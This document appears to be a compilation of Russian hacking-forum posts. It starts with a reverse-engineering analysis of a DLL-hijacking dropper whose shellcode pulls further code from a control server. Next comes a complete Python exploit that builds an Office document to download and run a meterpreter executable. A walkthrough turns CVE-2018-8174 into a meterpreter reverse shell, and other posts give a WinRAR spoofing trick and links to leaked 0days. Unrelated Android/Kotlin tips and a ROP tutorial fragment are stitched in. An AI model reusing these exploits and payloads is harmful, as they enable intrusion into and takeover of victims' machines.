while ( v7 <= 150 );
if ( v7 > 100 )
{
if ( v7 > 100 )
main_proc_sub_404E40();
}
Какой то хек вначале крутится в цикле, хз какой в этом смысл, мб какая то антиэмуляция, если кто знает поделитесь. Первая функа мейна start_bind_sub_40478C пытается получить ресурс bind, дропнуть его на винт и запустить, увы такого ресурса в поставке нету, мб он есть в других атаках, надо будет глянуть похожие новости, ничто так не усиливает интерес к чему то, как его недоступность
Code:Copy to clipboard
start_bind_sub_40478C();
v0 = get_os_ver_sub_404434() - 1;
if ( v0 )
{
v1 = v0 - 1;
if ( v1 )
{
result = v1 - 1;
if ( !result )
{
if ( check_processor_sub_404718() )
{
result = install_sub_404B84();
}
else
{
if ( is_user_admin_sub_40447C() )
result = drop_start_dll_sub_404A6C("%windir%\\wdmaud.drv", 0);
else
result = install_sub_404B84();
}
}
}
else
{
result = drop_start_dll_sub_404A6C("%windir%\\ntshrui.dll", -1);
}
}
else
{
result = drop_start_dll_sub_404A6C("%windir%\\ntshrui.dll", -1);
}
Дальше чекается версия венды get_os_ver_sub_404434 и в зависимости от нее идет разная установка в систему, тут будет рассмотрен только вариант на xp sp3, тупо вызов
Code:Copy to clipboard
result = drop_start_dll_sub_404A6C("%windir%\\ntshrui.dll", -1);
функа имеет следующий вид
Code:Copy to clipboard
delete_dat_n_drop_shellcode_sub_40497C();
ExpandEnvironmentStringsA(v3, &Dst, 0x104u);
unknown_libname_39(&v10, &Dst, 261);
if ( GetFileAttributes_sub_4043D8(v10) )
{
unknown_libname_39(&v9, &Dst, 261);
delete_file_sub_404568(v9);
}
unknown_libname_39(&v8, &Dst, 261);
drop_resource_sub_404908("startdll", v8);
if ( v2 )
start_explorer_on_desktop_sub_404870("virtual_desk_xxdd");
в функе delete_dat_n_drop_shellcode_sub_40497C, дропается шелкод из ресурсов в файл %windir%\\system32\\xmlcore.dat
Code:Copy to clipboard
ExpandEnvironmentStringsA("%windir%\\system32\\xmlcore.dat", &FileName, 0x104u);
unknown_libname_39(&v5, &FileName, 261);
if ( GetFileAttributes_sub_4043D8(v5) )
DeleteFileA(&FileName);
unknown_libname_39(&v4, &FileName, 261);
drop_resource_sub_404908("shellcode", v4);
дальше дропается сама startdll и в функе start_explorer_on_desktop_sub_404870 на новом десктопе запускается ишак
Code:Copy to clipboard
result = CreateDesktopA(a1, 0, 0, 0, 0x10000000u, 0);
if ( result )
{
System::__linkproc___FillChar(0, 16);
System::__linkproc___FillChar(0, 68);
StartupInfo.cb = 68;
GetStartupInfoA_0(&StartupInfo);
StartupInfo.lpDesktop = v1;
StartupInfo.dwFlags = 129;
v3 = CreateProcessA(0, "explorer", 0, 0, 0, 0x400800u, 0, 0, &StartupInfo, &ProcessInformation);
result = WaitForSingleObject(v3, 0x1770u);
смысл всего этого рассказан здесь [http://windowsir.blogspot.nl/2010/08/its-t...dlls- again.html](http://windowsir.blogspot.nl/2010/08/its-those-darned-dlls- again.html) , а именно
Some folks may feel that the method by which the DLL is designated to load (import table, file extension association, etc.) is irrelevant and inconsequential, and when it comes to a successful exploit, they'd be right. However, when attempting to determine the root cause, it's very important. Take Nick's post on the Mandiant blog, for example...we (me, and the team I work with) had seen this same issue, where Explorer.exe loaded ntshrui.dll, but not the one in the C:\Windows\system32 directory. Rather, the timeline I put together for the system showed the user logging in and several DLLs being loaded from the system32 directory, then C:\Windows\ntshrui.dll was loaded. The question then became, why was Explorer.exe loading this DLL? It turned out that when Explorer.exe loads, it checks the Registry for approved shell extensions, and then starts loading those DLLs. A good number of these approved shell extensions are listed in the Registry with explicit paths, pointing directly to the DLL (in most cases, in the system32 directory). However, for some reason, some of the DLLs are listed with implicit paths...just the name of the DLL is provided and Explorer.exe is left to its own devices to go find that DLL. Ntshrui.dll is one such DLL, and it turns out that in a domain environment, that particular DLL provides functionality to the shell that most folks aren't likely to miss; therefore, there are no overt changes to the Explorer shell that a user would report on.
Click to expand...
т. е. раширения эксплорера описаны в реестре но без полного пути и как следствия грузятся откуда по ближе в данном случае из windir'ы. Поверив этому на слово, можно реверсить что там на дропал дропер.
- ntshrui.dll / shellcode
ntshrui толком ничего не делает кроме как проверяет, что она запущена внутри эксплорера, поднять wdmaud.drv и читает из xmlcore.dat shellcode и передает на него управления, т. к. wdmaud.drv на данный момент, при инстале на xp sp3 еще нет, то сразу можно браться за shellcode
Code:Copy to clipboard
memcpy(&Src, "%windir%\\system32\\wdmaud.drv", 0x1Cu);
// ...
if ( ExpandEnvironmentStringsA(&Src, &LibFileName, 0x104u) )
LoadLibraryA(&LibFileName);
result = read_n_alloc_sub_10001000("%windir%\\system32\\xmlcore.dat");
if ( result )
{
v1 = CreateThread(0, 0, result, 0, 0, &ThreadId);
result = CloseHandle(v1);
Shellcode начинается с call'а на декриптор
Декриптуный вариант можно глянуть в sc2.bin, надо сказать шеллкод довольно большой 8kb, после долгой настройки апи и данных шелкод конектится к хосту на порт 4356 и начинает гонять от туда шелкоды ( первый в Dump_003A0000_00002000.bin, к обоим шелкодам есть базы иды с небольшими коментами по сам коду ) в которые передаются те же интерфейсы что и в первом шелкоде, т. е. все последующие юзают апи которые нашел первый, дальше дело доходит до скачки своего формата где есть имена длл которые надо загрузить, апи которые найти, строки которые помещаются в память и самое главное отдельные базонезависимые функи которые кидаются в память и между ними организовывается связь какой то своей виртуальной машиной. Я честно говоря надеялся все таки что в конце будет какой то экзе, но с такой реализацией в принципе он и не нужен, возможно вся дальнейшая работа с системой происходит по средством этих базонезависимых кусков которые получаются с сервера. Для конечного анализа не хватает времени, так бы спокойно разобрать шелкод по полкам, дабы поглядывая в иду все было ясно, расставить хуки как следуют дабы они логировали процесс работы этого шелкода и глядишь там дойти до конечного файла если таковой есть. Но времени увы и так было потрачено не мало, надеюсь успею вернуться к этому до того как ляжет серв управляющий атакой.
Если кто то хочет пореверсить и чего то не хватает спрашивайте расскажу покажу, пока сервер активный мб кому то получится понять основную цель атаки, так что стоит подождать второй части рассказа от websense мб они что то прояснят.
Password: ^whc_4-dL%$4
MS Office 2010 Download Execute 0day
Written By g11tch
Exploit can also be found: http://www.exploit-db.com/exploits/24526
Code:Copy to clipboard
#!/usr/bin/python
# Exploit Title: MS Office 2010 Download Execute
# Google Dork: NA
# Date: 19 Feb 2013
# Exploit Author: g11tch
# Vendor Homepage:
# Software Link:
# Version: ALL
# Tested on: [Windows XP SP1, SP2, Windows 7 ]
# CVE :
##########
#Just generate a meterpreter .exe, then provide the link to it via the exploit, it will automagically download and run said .exe
import binascii
import sys
import time
print "Microsoft Office 2010, download -N- execute "
print " What do you want to name your .doc ? "
print " Example: TotallyTrusted.doc "
filename = raw_input()
print " What is the link to your .exe ? "
print "HINT!!:: Feed me a url. ie: http://super/eleet/payload.exe "
url = raw_input()
print "Gears and Cranks working mag1c in the background "
time.sleep(3)
close="{}}}}}"
binme=binascii.b2a_hex(url)
file=('e1xydGYxbnNpbnNpY3BnMTI1MlxkZWZmMFxkZWZsYW5nMTAzM3sNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb250dGJsew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN3aXNzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGFyc2V0MCBBcmlhbDt9fXtcKlxnZW5lcmF0b3IgTXNmdGVkaXQgNS40MS4xNS4xNTA3O30NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlld2tpbmQ0XHVjMVxwYXJkDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHMyMCBwYXJkXGYwXGZzXHBhci90YWJccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhclxwYXJ7XHNocHtcc3B9fXtcc2hwe1xzcH19e1xzaHB7XHNwfX17XHNocHtcKlxzaHBpbnN0XHNocGZoZHIwXHNocGJ4Y29sdW1uXHNocGJ5cGFyYVxzaCBwd3IyfXtcc3B7XHNue317fXtcc259e1xzbn17XCpcKn1wRnJhZ21lbnRzfXtcKlwqXCp9e1wqXCpcc3Z7XCp9OTsyO2ZmZmZmZmZmZmYjMDUwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwZTBiOTJjM2ZBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBNWMxMTEwM2ZhNTljMzgzZmNmYWYzOTNmMTAwMTA0MDEwMTAxMDEwMTAxMDEwMTAxZTBiOTJjM2YwMDgwMDAwMDQ2Y2IzOTNmZGVhZGJlZWZlMGI5MmMzZmMwM2QzYjNmY2MzMzIyM2ZkZjU5MmQzZmM0M2QzYjNmY2MxODJmM2ZjNDNkM2IzZjVlNzQyYjNmNWU3OTM5M2YyNDAwMDAwMDQ0Y2IzOTNmc2x1dGZ1Y2s2NzgyMzkzZmRlMTYzYTNmNjc4MjM5M2ZlMGI5MmMzZmMwM2QzYjNmYTU5YzM4M2Y3YzBhMmIzZmUwYjkyYzNmNTU2Njc3ODhjMDNkM2IzZmE1OWMzODNmZmJiZTM4M2ZlMGI5MmMzZjgwMDAwMDAwYjQ0MTM0M2Y1NTU1NTU1NTY2NjY2NjY2Y2ZhZjM5M2Y0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxZWI3NzMxYzk2NDhiNzEzMDhiNzYwYzhiNzYxYzhiNWUwODhiN2UyMDhiMzY2NjM5NGYxODc1ZjJjMzYwOGI2YzI0MjQ4YjQ1M2M4YjU0MDU3ODAxZWE4YjRhMTg4YjVhMjAwMWViZTMzNDQ5OGIzNDhiMDFlZTMxZmYzMWMwZmNhYzg0YzA3NDA3YzFjZjBkMDFjN2ViZjQzYjdjMjQyODc1ZTE4YjVhMjQwMWViNjY4YjBjNGI4YjVhMWMwMWViOGIwNDhiMDFlODg5NDQyNDFjNjFjM2U4OTJmZmZmZmY1ZjgxZWY5OGZmZmZmZmViMDVlOGVkZmZmZmZmNjg4ZTRlMGVlYzUzZTg5NGZmZmZmZjMxYzk2NmI5NmY2ZTUxNjg3NTcyNmM2ZDU0ZmZkMDY4MzYxYTJmNzA1MGU4N2FmZmZmZmYzMWM5NTE1MThkMzc4MWM2ZWVmZmZmZmY4ZDU2MGM1MjU3NTFmZmQwNjg5OGZlOGEwZTUzZTg1YmZmZmZmZjQxNTE1NmZmZDA2ODdlZDhlMjczNTNlODRiZmZmZmZmZmZkMDYzNmQ2NDJlNjU3ODY1MjAyZjYzMjAyMDYxMmU2NTc4NjUwMA==\n')
textfile = open(filename , 'w')
textfile.write(file.decode('base64')+binme+close)
textfile.close()
time.sleep(3)
print "enjoy"
Подготавливаем исполняемый файл
Добавляем его в zip архив
Меняем расширение файла на произвольное (например jpg) через любой hex-
редактор
Открываем архив и запускаем файл. Как видите он запускается как исполняемый,
вместо просмотра изображений
Второй пример для наглядности
Протестировано в Windows 7 x86, WinRar 4.20 English version.
Источник http://www.exploit-db.com/papers/32480/
P.S. Тестировал на более поздних версиях WinRar - не работает.
Среди похищенных данных организации Hacking Team был обнаружен flash 0day
exploit
_http://rghost.net/7mcv4ggrv
прошу выложить проги по сплоитам и поэтапный обзор
спасибо
В этом выпуске: новый метод рутинга Android-смартфонов, большое исследование безопасности методов обмена данными в приложениях, вредоносные библиотеки, которые могут попасть в твой (и не только) код случайно. А также: способы сокращения размера приложения, трюки с инициализацией библиотек, антисоветы Kotlin и большая подборка инструментов и библиотек разработчиков.
ПОЧИТАТЬ
Новый метод рутинга
[Kernel Assisted Superuser (KernelSU) — The Final Frontier for SafetyNet and
an Essential Developer Tool](https://www.xda-developers.com/kernel-assisted-
superuser-kernelsu/) — небольшая статья о KernelSU, новом способе рутинга
Android путем прямого патчинга ядра.
В последнее время одним из основных методов получения прав root на Android стал Magisk. Он использует так называемый systemless-способ рутинга, когда вместо модификации раздела system поверх него подключается виртуальный раздел, содержащий бинарный файл su, необходимый приложениям для получения прав root. Такой метод позволяет избежать проблем с обновлениями, а также эффективно скрывать наличие прав root на устройстве.
Проблема, однако, в том, что Google и разработчики приложений изобретают новые методы обнаружения root, а разработчику Magisk приходится придумывать методы борьбы с ними. В долгосрочной перспективе способы скрытия могут исчерпаться.
Метод KernelSU, предложенный разработчиком zx2c4, базируется на совершенно другой идее. Вместо подключения виртуального раздела или физического размещения файла su в разделе system он использует модифицированное ядро, чтобы заставить приложения «думать», что в системе действительно есть файл /system/bin/su. Ядро перехватывает все обращения к этому файлу и, если приложение пытается с его помощью запустить команды, автоматически исполняет их с правами root.
Работая прямо в ядре, KernelSU имеет гораздо больше возможностей для скрытия и обхода различных ограничений Android, в том числе правил SELinux.
В данный момент [проект KernelSU](https://git.zx2c4.com/kernel-assisted- superuser/about/) находится в зачаточной стадии развития. Доступен только патч, который энтузиасты могут использовать для сборки кастомных ядер.
Небезопасный IPC в софте для Android
Security Code Smells in Android ICC —
большое исследование безопасности приложений, использующих механизмы
межпроцессного взаимодействия Android. Авторы взяли около 700 открытых
приложений из репозитория F-Droid и
проанализировали, есть ли в их коде проблемы в использовании IPC.
Анализ был произведен с помощью специально созданного инструмента AndroidLintSecurityChecks, который показывает наличие в коде потенциальных брешей. Все проблемы скомпоновали в 12 категорий:
В работе также приводится множество аналитических данных. Например, согласно статистике, в новых приложениях меньше дыр, чем в старых. Больше дыр также в приложениях, которые разрабатывают более пяти человек. Ну и, сюрприз-сюрприз, большее количество кода означает большее количество уязвимостей.
Вредоносные библиотеки
A Confusing Dependency —
поучительная история о том, как можно добавить в приложение зловредный код,
всего лишь подключив популярную библиотеку.
Все началось с того, что автор решил подключить к проекту библиотеку AndroidAudioRecorderи обнаружил, что сразу после старта приложение крашится, выбрасывая исключение java.lang.SecurityException: Permission denied (missing INTERNET permission?). Это означает, что приложение не может получить доступ к интернету, так как отсутствует необходимое для этого разрешение.
Выходит, библиотеке для записи звука с микрофона почему-то нужен интернет? Автор взглянул в код приложения и нашел в нем метод, отсылающий на удаленный сервер модель и производителя смартфона. В попытках разобраться, зачем разработчику популярной библиотеки вставлять в свою библиотеку такой противоречивый код, он попытался найти такой же участок кода в официальном репозитории библиотеки и не нашел его.
Получалось, что разработчик намеренно обманывал пользователей библиотеки, распространяя альтернативную сборку библиотеки, которая отличается от официальных исходников. Или… кто-то залил в репозиторий фейковую библиотеку.
Суть истории. Существует репозиторий Java-пакетов jCenter, привязанный к системе дистрибуции Bintray. Android Studio использует jCenter как дефолтовый репозиторий для новых проектов: он уже включен в список репозиториев в build.gradle наряду с репозиторием Google. Однако многие разработчики предпочитают размещать свои библиотеки в репозитории JitPack, который умеет автоматически генерировать и выкладывать в репозиторий библиотеки из GitHub-репозитория (это удобно и просто).
Библиотека AndroidAudioRecorder также была выложена в JitPack, так что автор статьи перед ее использованием добавил JitPack в build.gradle. Но оказалось, что в jCenter тоже была выложена эта библиотека с внедренным в нее зловредным кодом. А так как jCenter в списке репозиториев идет первым, система сборки взяла библиотеку именно из него, а не из JitPack.
Один из способов решения этой проблемы — разместить jCenter в конце списка репозиториев в build.gradle.
РАЗРАБОТЧИКУ
Советы по использованию короутин в Kotlin
[Kotlin Coroutines patterns & anti-patterns](https://proandroiddev.com/kotlin-
coroutines-patterns-anti-patterns-f9d12984c68e) — хорошая подборка советов и
антисоветов о короутинах Kotlin.
Заворачивай вызовы async в coroutineScope или используй SupervisorJob для работы с исключениями
Code:Copy to clipboard
val job: Job = Job()
val scope = CoroutineScope(Dispatchers.Default + job)
// Может выбросить исключение
fun doWork(): Deferred<String> = scope.async { ... }
fun loadData() = scope.launch {
)try {
doWork().await()
} catch (e: Exception) { ... }
}
Этот код упадет, даже несмотря на попытку обработки исключения: сбой в дочерней короутине приведет к немедленному сбою в родительской.
Чтобы избежать этого, достаточно использовать [SupervisorJob](https://kotlin.github.io/kotlinx.coroutines/kotlinx- coroutines-core/kotlinx.coroutines/-supervisor-job.html):
Code:Copy to clipboard
val job = SupervisorJob() // <--
val scope = CoroutineScope(Dispatchers.Default + job)
// Может выбросить исключение
fun doWork(): Deferred<String> = scope.async { ... }
fun loadData() = scope.launch {
try {
doWork().await()
} catch (e: Exception) { ... }
}
Используй Main Dispatcher в корневой короутине
Если тебе необходимо постоянно вызывать короутины Main Dispatcher (например,
для обновления экрана), используй Main Dispatcher как основную короутину.
Большая часть следующего кода выполняется в рамках Main Dispatcher:
Code:Copy to clipboard
val scope = CoroutineScope(Dispatchers.Default)
fun login() = scope.launch {
withContext(Dispatcher.Main) { view.showLoading() }
networkClient.login(...)
withContext(Dispatcher.Main) { view.hideLoading() }
}
Так почему бы не переписать код так, чтобы основная часть была в Main Dispatcher:
Code:Copy to clipboard
val scope = CoroutineScope(Dispatchers.Main)
fun login() = scope.launch {
view.showLoading()
withContext(Dispatcher.IO) { networkClient.login(...) }
view.hideLoading()
}
Избегай использования async/await там, где это не нужно
Код, подобный этому:
Code:Copy to clipboard
launch {
val data = async(Dispatchers.Default) { /* code */ }.await()
}
лучше заменить на такой:
Code:Copy to clipboard
launch {
val data = withContext(Dispatchers.Default) { /* code */ }
}
Этот код не порождает новые короутины, более производителен и нагляден.
Избегай завершения Scope Job
Представим такой код:
Code:Copy to clipboard
class WorkManager {
val job = SupervisorJob()
val scope = CoroutineScope(Dispatchers.Default + job)
fun doWork1() {
scope.launch { /* do work */ }
}
fun doWork2() {
scope.launch { /* do work */ }
}
fun cancelAllWork() {
job.cancel()
}
}
fun main() {
val workManager = WorkManager()
workManager.doWork1()
workManager.doWork2()
workManager.cancelAllWork()
workManager.doWork1()
}
Его проблема в том, что повторно короутина через метод doWork1 не запустится, потому что корневая для нее задача уже завершена.
Вместо этого следует использовать функцию cancelChildren:
Code:Copy to clipboard
class WorkManager {
val job = SupervisorJob()
val scope = CoroutineScope(Dispatchers.Default + job)
fun doWork1(): Job = scope.launch { /* do work */ }
fun doWork2(): Job = scope.launch { /* do work */ }
fun cancelAllWork() {
scope.coroutineContext.cancelChildren()
}
}
fun main() {
val workManager = WorkManager()
workManager.doWork1()
workManager.doWork2()
workManager.cancelAllWork()
workManager.doWork1()
}
Постарайся не писать suspend-функции с неявным диспетчером
Представь такую функцию:
Code:Copy to clipboard
suspend fun login(): Result {
view.showLoading()
val result = withContext(Dispatcher.IO) {
someBlockingCall()
}
view.hideLoading()
return result
}
Запустив ее с разными диспетчерами, ты получишь совершенно разные результаты:
Code:Copy to clipboard
launch(Dispatcher.Main) { // Все нормально
val loginResult = login()
...
}
launch(Dispatcher.Default) { // Падение
val loginResult = login()
...
}
CalledFromWrongThreadException: Only the original thread that created a view hierarchy can touch its views.
Правильный вариант:
Code:Copy to clipboard
suspend fun login(): Result = withContext(Dispatcher.Main) {
view.showLoading()
val result = withContext(Dispatcher.IO) {
someBlockingCall()
}
view.hideLoading()
return result
}
Избегай использования GlobalScope
Если ты в своем коде постоянно делаешь
Code:Copy to clipboard
GlobalScope.launch {
// code
}
прекрати немедленно. GlobalScope предназначен для короутин, жизненный цикл которых такой же, как у всего приложения. Это может привести к появлению короутин-зомби, которые давно не нужны, но до сих пор живут. Используй CoroutineScope для привязки короутин к какому-либо контексту, при исчезновении которого они будут завершены.
В Android с этим еще проще. Короутины можно ограничивать активностями, фрагментами, View, ViewModel:
Code:Copy to clipboard
class MainActivity : AppCompatActivity(), CoroutineScope {
private val job = SupervisorJob()
override val coroutineContext: CoroutineContext
get() = Dispatchers.Main + job
override fun onDestroy() {
super.onDestroy()
coroutineContext.cancelChildren()
}
fun loadData() = launch {
// code
}
}
Как максимально сократить размер приложения
[Build your Android app Faster and Smaller than
ever](https://medium.com/linedevth/build-your-android-app-faster-and-smaller-
than-ever-25f53fdd3cdc) — статья о том, как сделать приложения компактнее и
собирать их быстрее. Вторая часть статьи (про скорость сборки) не особо
полезна и интересна, поэтому остановимся только на способах уменьшения размера
APK. Итак, как сделать приложение меньше?
Трюк с инициализацией библиотек
[Your android libraries should not ask for an application
context](https://proandroiddev.com/your-android-libraries-should-not-ask-an-
application-context-51986cc140d4) — короткая заметка о работе системы
инициализации Firebase.
Ты мог заметить, что многие приложения требуют инициализировать себя перед использованием. Обычно для этого необходимо создать объект Application и добавить в него нечто похожее:
Code:Copy to clipboard
class MainApplication : Application() {
override fun onCreate(){
super.onCreate()
// Инициализация четырех библиотек
Fabric.with(this, new Crashlytics())
Stetho.initializeWithDefaults(this)
JodaTimeAndroid.init(this)
Realm.init(this)
}
}
Но также ты мог заметить, что библиотека Firebase ничего подобного не требует. Ты можешь сказать, что, возможно, ей вообще не нужен доступ к контексту или ее инициализация происходит позже, перед использованием. Но нет, требует, и она не просит инициализировать себя позже.
На самом деле секрет в том, что в файле AndroidManifest.xml библиотеки Firebase есть такой кусок:
Code:Copy to clipboard
<provider
android:name="com.google.firebase.provider.FirebaseInitProvider"
android:authorities="${applicationId}.firebaseinitprovider"
android:exported="false"
android:initOrder="100" />
Это декларация ContentProvider’а. Но это не ContentProvider. Класс FirebaseInitProvider как раз и содержит код инициализации библиотеки.
Во время сборки приложения среда разработки объединяет файлы AndroidManifest.xmlтвоего приложения и всех подключенных библиотек в единый файл. А во время запуска приложения Android выполняет код инициализации всех провайдеров еще до запуска самого приложения. Так и получается, что инициализация Firebase происходит на ранней стадии без посторонней помощи.
ИНСТРУМЕНТЫ
БИБЛИОТЕКИ
Наткнулся тут на статью про эксплоит CVE-2018-8174 , сколько шума вокруг
него.
Решил проверить лично, так как уж любят приукрасить журналисты.
Первым делом отправился на exploit-db скачал нужный эксплоит.
По традиции запустим калькулятор, стандартный payload мы юзать не будем а
вместо этого выполним нашу команду:
Code:Copy to clipboard
msfvenom -p windows/exec cmd='mshta[removed]CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.close)' -f js_le a x86
И так payload мы сгенерировали получилось
(%ue8fc%u0082%u0000%u8960%u31e5%u64.......6573%u0029)
Теперь нам нужно найти где выполняется шеллкод в эксплоите, в данном случае у нас оказалась строка
Функция GetShellcode()
Заменяем нашей строкой
(%ue8fc%u0082%u0000%u8960%u31e5%u64.......6573%u0029).
Проверяем что у нас получилось.
Отлично все отработало!!!
Попробуем установить reverse connect
Сгенерируем новый payload msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.78.1 LPORT=4444 -f js_le -a x86
и повторим предыдущие действия, заменим строку шеллкода.
Но теперь будем ждать конекта, открываем консоль и вводим команды
Code:Copy to clipboard
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST ваш ip
set LPORT 4444
set ExitOnSession false
exploit -j -z
И снова удача=)
Всем спасибо за внимание!!![/B]
статью написал leeex
На днях была информация, что в утекших данных хакерской организации Hacking Team был найден второй 0-дей сплойт под флеш.
Скачать можно тут
Сам не проверял, но его уже оперативно добавили в популярные связки.
Основная причина уязвимости ядра, приводящей к повышению привилегий - CVE-2019-0808
By Chengdu Security Response Center of 360 Core Security
Ежемесячные обновления безопасности, выпущенные Microsoft 12 марта 2019 года, исправляли две уязвимости нулевого дня для Windows, которые использовались в дикой природе. CVE-2019-0808 был одним из них, который был обнаружен группой анализа угроз Google и передан в Microsoft. По словам Microsoft, эта уязвимость, затрагивающая компоненты Win32k, позволяет злоумышленникам повысить привилегии и выполнить произвольный код в режиме ядра. Анализ Google говорит, что уязвимость затрагивает только Windows 7 и Windows Server 2008. Windows 10 не будет затронута, потому что Microsoft ввела меры по снижению уязвимости в последней версии операционной системы. Учитывая, что некоторые пользователи все еще используют Windows 7, и эта уязвимость в сочетании с Chrome RCE (CVE-2019-5786) использовалась для реальных APT-атак, поэтому этот 0day, скорее всего, будет использоваться для выполнения крупномасштабных атак и создания реальных угроза. Таким образом, 360 Core Security Technique Center разработал POC и воспроизвел процесс запуска уязвимости, чтобы поставщики безопасности могли ссылаться на увеличение соответствующих мер защиты.
1. Основные причины
После получения объекта окна меню, возвращенного функцией оконной процедуры,
функция xxxMNFindWindowFromPoint не проверяет действительность своего члена
tagPOPUPMENU, в результате чего последующая функция MNGetpItemFromIndex
вызывает задержку указателя NULL.
2. Эксплуатация уязвимости
Ниже приведен процесс разработки:
Шаг 1. Сначала необходимо настроить глобальную функцию перехвата сообщений для перехвата сообщения MN_FINDMENUWINDOWFROMPOINT, отправленного xxxMNFindWindowFromPoint.
Шаг 2: Создан пункт меню с функцией перетаскивания и специальной ручкой окна hpwn для резервного копирования.
Функция MNGetpItem продолжала обращаться к члену spmenu объекта tagPOPUPMENU, вызывая уязвимость разыменования нулевого указателя.
3. Патч
В ежемесячных исправлениях в марте Microsoft исправляла путаницу с типом окна
(не NULL для типа MENU) и проверяла состояние объекта popupMenu. Сравнение
кода было проведено до и после исправления следующим образом:
До:
После:
4. Заключение
Посредством созданного POC обнаруживается, что уязвимость срабатывает, когда
при определенных обстоятельствах вызывается функция NtUserMNDragOver, что
вызывает разыменование указателя NULL в win32k! MNGetpItemFromIndex.
Уязвимость использует модуль драйвера ядра Windows win32k.sys для повышения
локальных привилегий. После этого он может преодолеть ограничения
пользовательских привилегий. Между тем, он также может помочь злоумышленникам
выйти из песочницы, чтобы полностью контролировать компьютер жертвы.
Источник: hххp://blogs.360.cn/post/RootCause_CVE-2019-0808_EN.html
В Google Chrome обнаружена критическая 0Day-уязвимость
Уязвимость затрагивает версии Chrome для всех основных платформ - Windows,
macOS и Linux.
Компания Google выпустила обновление, устраняющее критическую уязвимость (CVE-2019-5786) в браузере Chrome, которая уже активно эксплуатируется злоумышленниками. Проблема, позволяющая удаленно выполнить код на системе, затрагивает версии интернет-обозревателя для всех основных десктопных платформ
Инженеры компании пока не раскрывают подробности об уязвимости. Известно лишь, что она представляет собой уязвимость использования после освобождения в компоненте FileReader. Дополнительную информацию специалисты пообещали опубликовать чуть позже, когда большая часть пользователей установит обновление.
«Доступ к подробностям об уязвимости и ссылкам может быть ограничен до тех пор, пока большинство пользователей не установят обновление. Ограничения останутся в силе, если баг затрагивает стороннюю библиотеку, используемую и другими проектами, но еще не исправлен», -[указывается](https://vk.com/away.php?to=https%3A%2F%2Fchromereleases.googleblog.com%2F2019%2F03%2Fstable- channel-update-for-desktop.html&cc_key=) в блоге команды Chrome.
Устраняющий уязвимость патч включен в состав стабильного обновления Chrome 72.0.3626.121 для Windows, Mac и Linux, которое пользователи уже могли получить или получат в ближайшие дни.
Ранее в Chrome была обнаружена еще одна уязвимость нулевого дня. Пока она остается неисправленной.
Безопасность бинарных приложений
В прошлой статье мы с тобой начали погружаться в мир шелл-кодинга для 64-битных *nix-систем. Пора развить эту тенденцию, ведь это журнал «Хакер»! Сегодня мы напишем эксплоит для обхода технологии DEP. Для этого рассмотрим две техники: ret2libc и ROP-цепочки.
Инструментарий
Сегодня нам понадобятся:
Для демонстрации уязвимости напишем простую программу на C:
C:Copy to clipboard
#include <stdio.h>
int main(int argc, char argv[]) {
char buf[256];
read(0, buf, 400);
}
Компилируем ее:
Code:Copy to clipboard
gcc -fno-stack-protector rop.c -o rop
Так как обход ASLR — тема отдельной статьи, то временно отключаем его командой
Code:Copy to clipboard
# echo 0 > /proc/sys/kernel/randomize_va_space
Чтобы проверить, действительно ли ASLR отключен, введем команду
Code:Copy to clipboard
ldd <путь_к_исполняемому_файлу>
Должно получить что-то вроде
Code:Copy to clipboard
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7a3c000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dda000)
Если еще раз ввести команду, то адреса останутся такими же (указаны в скобках).
Коротко о DEP
В прошлой статье мы намеренно отключили DEP, чтобы можно было запустить наш
шелл-код. Сегодня мы так делать не будем, а вместо этого попробуем его обойти.
DEP работает следующим образом: память, которая не должна исполняться
(например, стек), помечается специальным битом NX. Если ты попробуешь
запустить код из памяти с установленным битом NX, то вызовется исключение. Это
